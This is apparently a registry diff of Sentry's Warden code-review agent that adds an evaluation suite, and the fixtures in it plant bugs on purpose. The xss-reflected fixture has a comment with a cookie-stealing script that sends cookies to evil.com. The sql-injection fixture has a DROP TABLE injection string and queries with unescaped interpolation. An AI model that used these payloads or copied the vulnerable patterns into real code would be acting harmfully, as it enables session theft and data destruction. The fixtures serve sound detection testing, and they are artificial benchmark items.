@sentry/warden 0.9.0 → 0.11.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.mcp.json +8 -0
- package/README.md +4 -0
- package/agents.toml +7 -0
- package/conductor.json +8 -0
- package/dist/cli/fix.d.ts +3 -1
- package/dist/cli/fix.d.ts.map +1 -1
- package/dist/cli/fix.js +91 -59
- package/dist/cli/fix.js.map +1 -1
- package/dist/cli/main.d.ts.map +1 -1
- package/dist/cli/main.js +29 -8
- package/dist/cli/main.js.map +1 -1
- package/dist/cli/output/ink-runner.d.ts +6 -17
- package/dist/cli/output/ink-runner.d.ts.map +1 -1
- package/dist/cli/output/ink-runner.js +138 -122
- package/dist/cli/output/ink-runner.js.map +1 -1
- package/dist/cli/output/jsonl.d.ts +211 -58
- package/dist/cli/output/jsonl.d.ts.map +1 -1
- package/dist/cli/output/jsonl.js +81 -4
- package/dist/cli/output/jsonl.js.map +1 -1
- package/dist/cli/output/reporter.d.ts +7 -3
- package/dist/cli/output/reporter.d.ts.map +1 -1
- package/dist/cli/output/reporter.js +15 -1
- package/dist/cli/output/reporter.js.map +1 -1
- package/dist/cli/output/tasks.d.ts +10 -1
- package/dist/cli/output/tasks.d.ts.map +1 -1
- package/dist/cli/output/tasks.js +145 -32
- package/dist/cli/output/tasks.js.map +1 -1
- package/dist/cli/terminal.d.ts +7 -1
- package/dist/cli/terminal.d.ts.map +1 -1
- package/dist/cli/terminal.js +31 -9
- package/dist/cli/terminal.js.map +1 -1
- package/dist/config/schema.d.ts +3 -1
- package/dist/config/schema.d.ts.map +1 -1
- package/dist/config/schema.js +3 -2
- package/dist/config/schema.js.map +1 -1
- package/dist/evals/index.d.ts +22 -0
- package/dist/evals/index.d.ts.map +1 -0
- package/dist/evals/index.js +92 -0
- package/dist/evals/index.js.map +1 -0
- package/dist/evals/judge.d.ts +12 -0
- package/dist/evals/judge.d.ts.map +1 -0
- package/dist/evals/judge.js +171 -0
- package/dist/evals/judge.js.map +1 -0
- package/dist/evals/runner.d.ts +18 -0
- package/dist/evals/runner.d.ts.map +1 -0
- package/dist/evals/runner.js +133 -0
- package/dist/evals/runner.js.map +1 -0
- package/dist/{examples → evals}/setup.d.ts.map +1 -1
- package/dist/evals/setup.js.map +1 -0
- package/dist/evals/types.d.ts +166 -0
- package/dist/evals/types.d.ts.map +1 -0
- package/dist/evals/types.js +134 -0
- package/dist/evals/types.js.map +1 -0
- package/dist/output/dedup.d.ts.map +1 -1
- package/dist/output/dedup.js +29 -57
- package/dist/output/dedup.js.map +1 -1
- package/dist/output/github-checks.d.ts.map +1 -1
- package/dist/output/github-checks.js +37 -8
- package/dist/output/github-checks.js.map +1 -1
- package/dist/output/renderer.d.ts.map +1 -1
- package/dist/output/renderer.js +16 -1
- package/dist/output/renderer.js.map +1 -1
- package/dist/output/stale.d.ts +1 -0
- package/dist/output/stale.d.ts.map +1 -1
- package/dist/output/stale.js +14 -8
- package/dist/output/stale.js.map +1 -1
- package/dist/sdk/analyze.d.ts +11 -0
- package/dist/sdk/analyze.d.ts.map +1 -1
- package/dist/sdk/analyze.js +99 -19
- package/dist/sdk/analyze.js.map +1 -1
- package/dist/sdk/extract.d.ts +54 -0
- package/dist/sdk/extract.d.ts.map +1 -1
- package/dist/sdk/extract.js +175 -2
- package/dist/sdk/extract.js.map +1 -1
- package/dist/sdk/model-pricing.json +6 -12
- package/dist/sdk/prompt.d.ts +2 -0
- package/dist/sdk/prompt.d.ts.map +1 -1
- package/dist/sdk/prompt.js +18 -8
- package/dist/sdk/prompt.js.map +1 -1
- package/dist/sdk/runner.d.ts +2 -2
- package/dist/sdk/runner.d.ts.map +1 -1
- package/dist/sdk/runner.js +1 -1
- package/dist/sdk/runner.js.map +1 -1
- package/dist/sdk/types.d.ts +11 -3
- package/dist/sdk/types.d.ts.map +1 -1
- package/dist/sdk/types.js +1 -1
- package/dist/sdk/types.js.map +1 -1
- package/dist/sentry.d.ts +15 -0
- package/dist/sentry.d.ts.map +1 -1
- package/dist/sentry.js +40 -1
- package/dist/sentry.js.map +1 -1
- package/dist/types/index.d.ts +19 -0
- package/dist/types/index.d.ts.map +1 -1
- package/dist/types/index.js +25 -0
- package/dist/types/index.js.map +1 -1
- package/dist/utils/async.d.ts +14 -0
- package/dist/utils/async.d.ts.map +1 -1
- package/dist/utils/async.js +33 -0
- package/dist/utils/async.js.map +1 -1
- package/dist/utils/index.d.ts +1 -1
- package/dist/utils/index.d.ts.map +1 -1
- package/dist/utils/index.js +1 -1
- package/dist/utils/index.js.map +1 -1
- package/evals/README.md +154 -0
- package/evals/bug-detection.yaml +56 -0
- package/evals/fixtures/ignores-style-issues/utils.ts +48 -0
- package/evals/fixtures/missing-await/cache.ts +45 -0
- package/evals/fixtures/null-property-access/handler.ts +36 -0
- package/evals/fixtures/off-by-one/paginator.ts +38 -0
- package/evals/fixtures/sql-injection/api.ts +59 -0
- package/evals/fixtures/stale-closure/counter.tsx +33 -0
- package/evals/fixtures/wrong-comparison/validator.ts +52 -0
- package/evals/fixtures/xss-reflected/server.ts +55 -0
- package/evals/precision.yaml +15 -0
- package/evals/security-scanning.yaml +24 -0
- package/evals/skills/bug-detection.md +33 -0
- package/evals/skills/precision.md +18 -0
- package/evals/skills/security-scanning.md +32 -0
- package/package.json +4 -2
- package/dist/examples/index.d.ts +0 -50
- package/dist/examples/index.d.ts.map +0 -1
- package/dist/examples/index.js +0 -104
- package/dist/examples/index.js.map +0 -1
- package/dist/examples/setup.js.map +0 -1
- /package/dist/{examples → evals}/setup.d.ts +0 -0
- /package/dist/{examples → evals}/setup.js +0 -0
|
@@ -0,0 +1,38 @@
|
|
|
1
|
+
export interface PaginatedResult<T> {
|
|
2
|
+
items: T[];
|
|
3
|
+
page: number;
|
|
4
|
+
totalItems: number;
|
|
5
|
+
pageSize: number;
|
|
6
|
+
}
|
|
7
|
+
|
|
8
|
+
/**
|
|
9
|
+
* Fetch all pages of results from a paginated API endpoint.
|
|
10
|
+
* Collects items from every page and returns them as a flat array.
|
|
11
|
+
*/
|
|
12
|
+
export async function fetchAllPages<T>(
|
|
13
|
+
fetchPage: (page: number) => Promise<PaginatedResult<T>>
|
|
14
|
+
): Promise<T[]> {
|
|
15
|
+
const firstPage = await fetchPage(1);
|
|
16
|
+
const allItems: T[] = [...firstPage.items];
|
|
17
|
+
|
|
18
|
+
// Bug: Math.floor loses the last page when totalItems is not evenly
|
|
19
|
+
// divisible by pageSize. E.g., 25 items / 10 per page = 2.5, floored
|
|
20
|
+
// to 2, so page 3 (items 21-25) is never fetched.
|
|
21
|
+
const totalPages = Math.floor(firstPage.totalItems / firstPage.pageSize);
|
|
22
|
+
|
|
23
|
+
for (let page = 2; page <= totalPages; page++) {
|
|
24
|
+
const result = await fetchPage(page);
|
|
25
|
+
allItems.push(...result.items);
|
|
26
|
+
}
|
|
27
|
+
|
|
28
|
+
return allItems;
|
|
29
|
+
}
|
|
30
|
+
|
|
31
|
+
/**
|
|
32
|
+
* Get a specific page range of results.
|
|
33
|
+
*/
|
|
34
|
+
export function getPageRange(totalItems: number, pageSize: number, currentPage: number): { start: number; end: number } {
|
|
35
|
+
const start = (currentPage - 1) * pageSize;
|
|
36
|
+
const end = Math.min(start + pageSize, totalItems);
|
|
37
|
+
return { start, end };
|
|
38
|
+
}
|
|
@@ -0,0 +1,59 @@
|
|
|
1
|
+
interface DbConnection {
|
|
2
|
+
query(sql: string): Promise<Record<string, unknown>[]>;
|
|
3
|
+
}
|
|
4
|
+
|
|
5
|
+
function getConnection(): DbConnection {
|
|
6
|
+
// In production this returns a real DB connection
|
|
7
|
+
return {
|
|
8
|
+
query: async (sql: string) => {
|
|
9
|
+
console.log('Executing:', sql);
|
|
10
|
+
return [];
|
|
11
|
+
},
|
|
12
|
+
};
|
|
13
|
+
}
|
|
14
|
+
|
|
15
|
+
interface SearchParams {
|
|
16
|
+
name?: string;
|
|
17
|
+
email?: string;
|
|
18
|
+
role?: string;
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
/**
|
|
22
|
+
* Search for users matching the given criteria.
|
|
23
|
+
* Builds a dynamic WHERE clause from the search parameters.
|
|
24
|
+
*/
|
|
25
|
+
export async function searchUsers(params: SearchParams): Promise<Record<string, unknown>[]> {
|
|
26
|
+
const db = getConnection();
|
|
27
|
+
const conditions: string[] = [];
|
|
28
|
+
|
|
29
|
+
if (params.name) {
|
|
30
|
+
// Bug: Direct string interpolation of user input into SQL query.
|
|
31
|
+
// An attacker can pass name = "'; DROP TABLE users; --" to execute
|
|
32
|
+
// arbitrary SQL.
|
|
33
|
+
conditions.push(`name = '${params.name}'`);
|
|
34
|
+
}
|
|
35
|
+
if (params.email) {
|
|
36
|
+
conditions.push(`email = '${params.email}'`);
|
|
37
|
+
}
|
|
38
|
+
if (params.role) {
|
|
39
|
+
conditions.push(`role = '${params.role}'`);
|
|
40
|
+
}
|
|
41
|
+
|
|
42
|
+
const whereClause = conditions.length > 0
|
|
43
|
+
? `WHERE ${conditions.join(' AND ')}`
|
|
44
|
+
: '';
|
|
45
|
+
|
|
46
|
+
const sql = `SELECT id, name, email, role FROM users ${whereClause}`;
|
|
47
|
+
return db.query(sql);
|
|
48
|
+
}
|
|
49
|
+
|
|
50
|
+
/**
|
|
51
|
+
* Get a user by their ID (this one is safe - uses parameterized approach).
|
|
52
|
+
*/
|
|
53
|
+
export async function getUserById(id: number): Promise<Record<string, unknown> | null> {
|
|
54
|
+
const db = getConnection();
|
|
55
|
+
// This is safe because we validate the type
|
|
56
|
+
if (!Number.isInteger(id) || id <= 0) return null;
|
|
57
|
+
const results = await db.query(`SELECT * FROM users WHERE id = ${id}`);
|
|
58
|
+
return results[0] ?? null;
|
|
59
|
+
}
|
|
@@ -0,0 +1,33 @@
|
|
|
1
|
+
import { useState, useEffect } from 'react';
|
|
2
|
+
|
|
3
|
+
interface CounterProps {
|
|
4
|
+
initialValue: number;
|
|
5
|
+
step: number;
|
|
6
|
+
intervalMs: number;
|
|
7
|
+
}
|
|
8
|
+
|
|
9
|
+
/**
|
|
10
|
+
* An auto-incrementing counter that ticks at a given interval.
|
|
11
|
+
*/
|
|
12
|
+
export function AutoCounter({ initialValue, step, intervalMs }: CounterProps) {
|
|
13
|
+
const [count, setCount] = useState(initialValue);
|
|
14
|
+
|
|
15
|
+
useEffect(() => {
|
|
16
|
+
// Bug: This closure captures `count` once at mount time.
|
|
17
|
+
// Every tick reads the same stale `count` value and sets
|
|
18
|
+
// count to initialValue + step, over and over. The counter
|
|
19
|
+
// never actually increments past the first tick.
|
|
20
|
+
const id = setInterval(() => {
|
|
21
|
+
setCount(count + step);
|
|
22
|
+
}, intervalMs);
|
|
23
|
+
|
|
24
|
+
return () => clearInterval(id);
|
|
25
|
+
// eslint-disable-next-line react-hooks/exhaustive-deps
|
|
26
|
+
}, []);
|
|
27
|
+
|
|
28
|
+
return (
|
|
29
|
+
<div>
|
|
30
|
+
<span data-testid="count">{count}</span>
|
|
31
|
+
</div>
|
|
32
|
+
);
|
|
33
|
+
}
|
|
@@ -0,0 +1,52 @@
|
|
|
1
|
+
interface Permission {
|
|
2
|
+
resource: string;
|
|
3
|
+
action: 'read' | 'write' | 'delete';
|
|
4
|
+
role: string;
|
|
5
|
+
}
|
|
6
|
+
|
|
7
|
+
const ROLE_HIERARCHY: Record<string, number> = {
|
|
8
|
+
viewer: 0,
|
|
9
|
+
editor: 1,
|
|
10
|
+
admin: 2,
|
|
11
|
+
superadmin: 3,
|
|
12
|
+
};
|
|
13
|
+
|
|
14
|
+
/**
|
|
15
|
+
* Check if a user's role has sufficient permissions for an action.
|
|
16
|
+
* Returns true if the user is allowed to perform the action.
|
|
17
|
+
*/
|
|
18
|
+
export function hasPermission(userRole: string, requiredRole: string): boolean {
|
|
19
|
+
const userLevel = ROLE_HIERARCHY[userRole] ?? 0;
|
|
20
|
+
const requiredLevel = ROLE_HIERARCHY[requiredRole] ?? 0;
|
|
21
|
+
|
|
22
|
+
// Bug: should be >= but uses <=, so only users with LOWER privilege
|
|
23
|
+
// than required are granted access (e.g., a viewer can perform admin
|
|
24
|
+
// actions, but an admin cannot).
|
|
25
|
+
return userLevel <= requiredLevel;
|
|
26
|
+
}
|
|
27
|
+
|
|
28
|
+
/**
|
|
29
|
+
* Filter a list of permissions to only those a user can perform.
|
|
30
|
+
*/
|
|
31
|
+
export function filterAllowedActions(
|
|
32
|
+
userRole: string,
|
|
33
|
+
permissions: Permission[]
|
|
34
|
+
): Permission[] {
|
|
35
|
+
return permissions.filter((p) => hasPermission(userRole, p.role));
|
|
36
|
+
}
|
|
37
|
+
|
|
38
|
+
/**
|
|
39
|
+
* Validate that a user can perform a specific action on a resource.
|
|
40
|
+
*/
|
|
41
|
+
export function validateAccess(
|
|
42
|
+
userRole: string,
|
|
43
|
+
resource: string,
|
|
44
|
+
action: string,
|
|
45
|
+
permissions: Permission[]
|
|
46
|
+
): boolean {
|
|
47
|
+
const matching = permissions.find(
|
|
48
|
+
(p) => p.resource === resource && p.action === action
|
|
49
|
+
);
|
|
50
|
+
if (!matching) return false;
|
|
51
|
+
return hasPermission(userRole, matching.role);
|
|
52
|
+
}
|
|
@@ -0,0 +1,55 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Simple HTTP request handler for a search page.
|
|
3
|
+
* Renders search results with the query term displayed back to the user.
|
|
4
|
+
*/
|
|
5
|
+
export function handleSearchRequest(url: string): string {
|
|
6
|
+
const parsed = new URL(url, 'http://localhost:3000');
|
|
7
|
+
const query = parsed.searchParams.get('q') ?? '';
|
|
8
|
+
const page = parseInt(parsed.searchParams.get('page') ?? '1', 10);
|
|
9
|
+
|
|
10
|
+
// Simulate search results
|
|
11
|
+
const results = performSearch(query, page);
|
|
12
|
+
|
|
13
|
+
// Bug: The query string from the URL is interpolated directly into HTML
|
|
14
|
+
// without escaping. An attacker can craft a URL like:
|
|
15
|
+
// /search?q=<script>document.location='http://evil.com/?c='+document.cookie</script>
|
|
16
|
+
// and the script will execute in the victim's browser.
|
|
17
|
+
return `
|
|
18
|
+
<!DOCTYPE html>
|
|
19
|
+
<html>
|
|
20
|
+
<head><title>Search Results</title></head>
|
|
21
|
+
<body>
|
|
22
|
+
<h1>Search Results</h1>
|
|
23
|
+
<p>Showing results for: <strong>${query}</strong></p>
|
|
24
|
+
<p>Page ${page} of ${results.totalPages}</p>
|
|
25
|
+
<ul>
|
|
26
|
+
${results.items.map((item) => `<li>${escapeHtml(item.title)}</li>`).join('\n')}
|
|
27
|
+
</ul>
|
|
28
|
+
</body>
|
|
29
|
+
</html>
|
|
30
|
+
`;
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
function escapeHtml(text: string): string {
|
|
34
|
+
return text
|
|
35
|
+
.replace(/&/g, '&')
|
|
36
|
+
.replace(/</g, '<')
|
|
37
|
+
.replace(/>/g, '>')
|
|
38
|
+
.replace(/"/g, '"');
|
|
39
|
+
}
|
|
40
|
+
|
|
41
|
+
interface SearchResult {
|
|
42
|
+
items: { title: string; url: string }[];
|
|
43
|
+
totalPages: number;
|
|
44
|
+
}
|
|
45
|
+
|
|
46
|
+
function performSearch(query: string, page: number): SearchResult {
|
|
47
|
+
// Stub implementation
|
|
48
|
+
return {
|
|
49
|
+
items: [
|
|
50
|
+
{ title: `Result for "${query}" - item 1`, url: '/result/1' },
|
|
51
|
+
{ title: `Result for "${query}" - item 2`, url: '/result/2' },
|
|
52
|
+
],
|
|
53
|
+
totalPages: Math.max(1, page),
|
|
54
|
+
};
|
|
55
|
+
}
|
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
skill: skills/precision.md
|
|
2
|
+
|
|
3
|
+
evals:
|
|
4
|
+
- name: ignores-style-issues
|
|
5
|
+
given: functionally correct code with style issues (mixed naming conventions, verbose conditionals, magic numbers)
|
|
6
|
+
files:
|
|
7
|
+
- fixtures/ignores-style-issues/utils.ts
|
|
8
|
+
should_find:
|
|
9
|
+
- finding: "no bugs: the code is functionally correct despite having style issues, so zero or only info-level findings are expected"
|
|
10
|
+
required: false
|
|
11
|
+
should_not_find:
|
|
12
|
+
- inconsistent naming convention (snake_case vs camelCase)
|
|
13
|
+
- missing JSDoc comments
|
|
14
|
+
- verbose conditional that could be simplified
|
|
15
|
+
- magic numbers in discount calculation
|
|
@@ -0,0 +1,24 @@
|
|
|
1
|
+
skill: skills/security-scanning.md
|
|
2
|
+
|
|
3
|
+
evals:
|
|
4
|
+
- name: sql-injection
|
|
5
|
+
given: SQL query built via string interpolation with user-supplied search parameters
|
|
6
|
+
files:
|
|
7
|
+
- fixtures/sql-injection/api.ts
|
|
8
|
+
should_find:
|
|
9
|
+
- finding: "SQL injection: user input from params.name, params.email, and params.role is directly interpolated into SQL query without parameterization"
|
|
10
|
+
severity: critical
|
|
11
|
+
should_not_find:
|
|
12
|
+
- the getConnection helper implementation
|
|
13
|
+
- missing email format validation as the primary issue
|
|
14
|
+
|
|
15
|
+
- name: xss-reflected
|
|
16
|
+
given: HTML template that renders URL query parameter directly into page without escaping
|
|
17
|
+
files:
|
|
18
|
+
- fixtures/xss-reflected/server.ts
|
|
19
|
+
should_find:
|
|
20
|
+
- finding: "reflected XSS: the query parameter from the URL is interpolated into HTML via template literal without calling escapeHtml()"
|
|
21
|
+
severity: critical
|
|
22
|
+
should_not_find:
|
|
23
|
+
- hardcoded port number
|
|
24
|
+
- missing HTTPS as the primary issue
|
|
@@ -0,0 +1,33 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: eval-bug-detection
|
|
3
|
+
description: Test skill for bug detection evals. Finds logic errors, null handling bugs, async issues, and edge cases.
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
You are an expert bug hunter analyzing code changes.
|
|
7
|
+
|
|
8
|
+
## What to Report
|
|
9
|
+
|
|
10
|
+
Find bugs that will cause incorrect behavior at runtime:
|
|
11
|
+
|
|
12
|
+
- Null/undefined property access without guards
|
|
13
|
+
- Off-by-one and boundary errors
|
|
14
|
+
- Missing await on async operations
|
|
15
|
+
- Wrong comparison operators (< vs <=, && vs ||)
|
|
16
|
+
- Stale closures capturing outdated values
|
|
17
|
+
- Type coercion causing unexpected behavior
|
|
18
|
+
|
|
19
|
+
## What NOT to Report
|
|
20
|
+
|
|
21
|
+
- Style or formatting preferences
|
|
22
|
+
- Missing error handling that "might" matter
|
|
23
|
+
- Performance concerns (unless causing incorrect behavior)
|
|
24
|
+
- Unused variables or dead code
|
|
25
|
+
- Missing tests or documentation
|
|
26
|
+
- Security vulnerabilities (separate concern)
|
|
27
|
+
|
|
28
|
+
## Output Requirements
|
|
29
|
+
|
|
30
|
+
For each bug, provide:
|
|
31
|
+
- The exact file and line
|
|
32
|
+
- What incorrect behavior occurs
|
|
33
|
+
- What specific input or condition triggers it
|
|
@@ -0,0 +1,18 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: eval-precision
|
|
3
|
+
description: Test skill for precision evals. Only reports logic bugs, nothing else.
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
You are a strict bug detector. You ONLY report provable logic bugs.
|
|
7
|
+
|
|
8
|
+
## Rules
|
|
9
|
+
|
|
10
|
+
1. Only report bugs that WILL cause incorrect behavior
|
|
11
|
+
2. You must be able to construct a specific input that triggers failure
|
|
12
|
+
3. Do NOT report style, formatting, naming, or documentation issues
|
|
13
|
+
4. Do NOT report missing error handling
|
|
14
|
+
5. Do NOT report performance concerns
|
|
15
|
+
6. Do NOT report security vulnerabilities
|
|
16
|
+
7. If the code is correct, return an empty findings array
|
|
17
|
+
|
|
18
|
+
Be extremely conservative. When in doubt, do not report.
|
|
@@ -0,0 +1,32 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: eval-security-scanning
|
|
3
|
+
description: Test skill for security scanning evals. Finds injection, XSS, and other OWASP Top 10 vulnerabilities.
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
You are a security expert analyzing code changes for vulnerabilities.
|
|
7
|
+
|
|
8
|
+
## What to Report
|
|
9
|
+
|
|
10
|
+
Find security vulnerabilities that could be exploited:
|
|
11
|
+
|
|
12
|
+
- SQL injection (unsanitized input in queries)
|
|
13
|
+
- Cross-site scripting (XSS) - reflected and stored
|
|
14
|
+
- Command injection
|
|
15
|
+
- Path traversal
|
|
16
|
+
- Authentication/authorization bypasses
|
|
17
|
+
- Insecure cryptography
|
|
18
|
+
|
|
19
|
+
## What NOT to Report
|
|
20
|
+
|
|
21
|
+
- Code quality or style issues
|
|
22
|
+
- Performance concerns
|
|
23
|
+
- Missing but non-security error handling
|
|
24
|
+
- Hardcoded configuration values (unless they are secrets)
|
|
25
|
+
- Missing HTTPS (unless specifically relevant)
|
|
26
|
+
|
|
27
|
+
## Output Requirements
|
|
28
|
+
|
|
29
|
+
For each vulnerability:
|
|
30
|
+
- The exact file and line
|
|
31
|
+
- The attack vector (how it could be exploited)
|
|
32
|
+
- Severity based on exploitability and impact
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@sentry/warden",
|
|
3
|
-
"version": "0.
|
|
3
|
+
"version": "0.11.0",
|
|
4
4
|
"description": "Event-driven agent that reacts to GitHub events and executes skills via Claude Code SDK",
|
|
5
5
|
"type": "module",
|
|
6
6
|
"main": "dist/index.js",
|
|
@@ -12,7 +12,7 @@
|
|
|
12
12
|
"pre-commit": "pnpm lint-staged && pnpm typecheck"
|
|
13
13
|
},
|
|
14
14
|
"lint-staged": {
|
|
15
|
-
"
|
|
15
|
+
"src/**/*.ts": [
|
|
16
16
|
"eslint --fix"
|
|
17
17
|
],
|
|
18
18
|
"docs/**/*.astro": [
|
|
@@ -50,6 +50,7 @@
|
|
|
50
50
|
"nanoid": "^5.1.6",
|
|
51
51
|
"react": "^18.3.1",
|
|
52
52
|
"smol-toml": "^1.6.0",
|
|
53
|
+
"yaml": "^2.8.2",
|
|
53
54
|
"zod": "^4.3.6"
|
|
54
55
|
},
|
|
55
56
|
"devDependencies": {
|
|
@@ -79,6 +80,7 @@
|
|
|
79
80
|
"test": "vitest run",
|
|
80
81
|
"test:watch": "vitest",
|
|
81
82
|
"test:examples": "vitest run --config vitest.integration.config.ts",
|
|
83
|
+
"test:evals": "vitest run --config vitest.evals.config.ts",
|
|
82
84
|
"typecheck": "tsc --noEmit",
|
|
83
85
|
"update-pricing": "tsx scripts/update-pricing.ts"
|
|
84
86
|
}
|
package/dist/examples/index.d.ts
DELETED
|
@@ -1,50 +0,0 @@
|
|
|
1
|
-
import { z } from 'zod';
|
|
2
|
-
/**
|
|
3
|
-
* Schema for expected findings in _meta.json
|
|
4
|
-
*/
|
|
5
|
-
export declare const ExpectedFindingSchema: z.ZodObject<{
|
|
6
|
-
severity: z.ZodEnum<{
|
|
7
|
-
critical: "critical";
|
|
8
|
-
high: "high";
|
|
9
|
-
medium: "medium";
|
|
10
|
-
low: "low";
|
|
11
|
-
info: "info";
|
|
12
|
-
}>;
|
|
13
|
-
pattern: z.ZodString;
|
|
14
|
-
file: z.ZodOptional<z.ZodString>;
|
|
15
|
-
}, z.core.$strip>;
|
|
16
|
-
export type ExpectedFinding = z.infer<typeof ExpectedFindingSchema>;
|
|
17
|
-
/**
|
|
18
|
-
* Schema for _meta.json files
|
|
19
|
-
*/
|
|
20
|
-
export declare const ExampleMetaSchema: z.ZodObject<{
|
|
21
|
-
skill: z.ZodString;
|
|
22
|
-
description: z.ZodString;
|
|
23
|
-
expected: z.ZodArray<z.ZodObject<{
|
|
24
|
-
severity: z.ZodEnum<{
|
|
25
|
-
critical: "critical";
|
|
26
|
-
high: "high";
|
|
27
|
-
medium: "medium";
|
|
28
|
-
low: "low";
|
|
29
|
-
info: "info";
|
|
30
|
-
}>;
|
|
31
|
-
pattern: z.ZodString;
|
|
32
|
-
file: z.ZodOptional<z.ZodString>;
|
|
33
|
-
}, z.core.$strip>>;
|
|
34
|
-
}, z.core.$strip>;
|
|
35
|
-
export type ExampleMeta = z.infer<typeof ExampleMetaSchema>;
|
|
36
|
-
/**
|
|
37
|
-
* Discover all examples with _meta.json files.
|
|
38
|
-
* Returns an array of absolute paths to example directories.
|
|
39
|
-
*/
|
|
40
|
-
export declare function discoverExamples(baseDir?: string): string[];
|
|
41
|
-
/**
|
|
42
|
-
* Load and validate a _meta.json file from an example directory.
|
|
43
|
-
*/
|
|
44
|
-
export declare function loadExample(dir: string): ExampleMeta;
|
|
45
|
-
/**
|
|
46
|
-
* Get all source files in an example directory (excludes _meta.json).
|
|
47
|
-
* Returns relative paths suitable for use with buildFileEventContext.
|
|
48
|
-
*/
|
|
49
|
-
export declare function getExampleFiles(dir: string): string[];
|
|
50
|
-
//# sourceMappingURL=index.d.ts.map
|
|
@@ -1 +0,0 @@
|
|
|
1
|
-
{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src/examples/index.ts"],"names":[],"mappings":"AAEA,OAAO,EAAE,CAAC,EAAE,MAAM,KAAK,CAAC;AAGxB;;GAEG;AACH,eAAO,MAAM,qBAAqB;;;;;;;;;;iBAIhC,CAAC;AACH,MAAM,MAAM,eAAe,GAAG,CAAC,CAAC,KAAK,CAAC,OAAO,qBAAqB,CAAC,CAAC;AAEpE;;GAEG;AACH,eAAO,MAAM,iBAAiB;;;;;;;;;;;;;;iBAI5B,CAAC;AACH,MAAM,MAAM,WAAW,GAAG,CAAC,CAAC,KAAK,CAAC,OAAO,iBAAiB,CAAC,CAAC;AAU5D;;;GAGG;AACH,wBAAgB,gBAAgB,CAAC,OAAO,CAAC,EAAE,MAAM,GAAG,MAAM,EAAE,CA6B3D;AAED;;GAEG;AACH,wBAAgB,WAAW,CAAC,GAAG,EAAE,MAAM,GAAG,WAAW,CA4BpD;AAED;;;GAGG;AACH,wBAAgB,eAAe,CAAC,GAAG,EAAE,MAAM,GAAG,MAAM,EAAE,CAgBrD"}
|
package/dist/examples/index.js
DELETED
|
@@ -1,104 +0,0 @@
|
|
|
1
|
-
import { readFileSync, readdirSync, existsSync, statSync } from 'node:fs';
|
|
2
|
-
import { join } from 'node:path';
|
|
3
|
-
import { z } from 'zod';
|
|
4
|
-
import { SeveritySchema } from '../types/index.js';
|
|
5
|
-
/**
|
|
6
|
-
* Schema for expected findings in _meta.json
|
|
7
|
-
*/
|
|
8
|
-
export const ExpectedFindingSchema = z.object({
|
|
9
|
-
severity: SeveritySchema,
|
|
10
|
-
pattern: z.string(),
|
|
11
|
-
file: z.string().optional(),
|
|
12
|
-
});
|
|
13
|
-
/**
|
|
14
|
-
* Schema for _meta.json files
|
|
15
|
-
*/
|
|
16
|
-
export const ExampleMetaSchema = z.object({
|
|
17
|
-
skill: z.string(),
|
|
18
|
-
description: z.string(),
|
|
19
|
-
expected: z.array(ExpectedFindingSchema),
|
|
20
|
-
});
|
|
21
|
-
/**
|
|
22
|
-
* Get the default examples directory path.
|
|
23
|
-
*/
|
|
24
|
-
function getExamplesDir() {
|
|
25
|
-
// This file is at src/examples/index.ts, so we need to go up to repo root
|
|
26
|
-
return join(import.meta.dirname, '..', '..', 'examples');
|
|
27
|
-
}
|
|
28
|
-
/**
|
|
29
|
-
* Discover all examples with _meta.json files.
|
|
30
|
-
* Returns an array of absolute paths to example directories.
|
|
31
|
-
*/
|
|
32
|
-
export function discoverExamples(baseDir) {
|
|
33
|
-
const examplesDir = baseDir ?? getExamplesDir();
|
|
34
|
-
const examples = [];
|
|
35
|
-
if (!existsSync(examplesDir)) {
|
|
36
|
-
return examples;
|
|
37
|
-
}
|
|
38
|
-
// Recursively find directories containing _meta.json
|
|
39
|
-
function scanDir(dir) {
|
|
40
|
-
const entries = readdirSync(dir);
|
|
41
|
-
for (const entry of entries) {
|
|
42
|
-
const entryPath = join(dir, entry);
|
|
43
|
-
const stat = statSync(entryPath);
|
|
44
|
-
if (stat.isDirectory()) {
|
|
45
|
-
const metaPath = join(entryPath, '_meta.json');
|
|
46
|
-
if (existsSync(metaPath)) {
|
|
47
|
-
examples.push(entryPath);
|
|
48
|
-
}
|
|
49
|
-
// Continue scanning subdirectories
|
|
50
|
-
scanDir(entryPath);
|
|
51
|
-
}
|
|
52
|
-
}
|
|
53
|
-
}
|
|
54
|
-
scanDir(examplesDir);
|
|
55
|
-
return examples;
|
|
56
|
-
}
|
|
57
|
-
/**
|
|
58
|
-
* Load and validate a _meta.json file from an example directory.
|
|
59
|
-
*/
|
|
60
|
-
export function loadExample(dir) {
|
|
61
|
-
const metaPath = join(dir, '_meta.json');
|
|
62
|
-
if (!existsSync(metaPath)) {
|
|
63
|
-
throw new Error(`No _meta.json found in ${dir}`);
|
|
64
|
-
}
|
|
65
|
-
let content;
|
|
66
|
-
try {
|
|
67
|
-
content = readFileSync(metaPath, 'utf-8');
|
|
68
|
-
}
|
|
69
|
-
catch (error) {
|
|
70
|
-
throw new Error(`Failed to read ${metaPath}: ${error}`);
|
|
71
|
-
}
|
|
72
|
-
let parsed;
|
|
73
|
-
try {
|
|
74
|
-
parsed = JSON.parse(content);
|
|
75
|
-
}
|
|
76
|
-
catch (error) {
|
|
77
|
-
throw new Error(`Failed to parse ${metaPath}: ${error}`);
|
|
78
|
-
}
|
|
79
|
-
const validated = ExampleMetaSchema.safeParse(parsed);
|
|
80
|
-
if (!validated.success) {
|
|
81
|
-
const issues = validated.error.issues.map((i) => `${i.path.join('.')}: ${i.message}`).join(', ');
|
|
82
|
-
throw new Error(`Invalid _meta.json in ${dir}: ${issues}`);
|
|
83
|
-
}
|
|
84
|
-
return validated.data;
|
|
85
|
-
}
|
|
86
|
-
/**
|
|
87
|
-
* Get all source files in an example directory (excludes _meta.json).
|
|
88
|
-
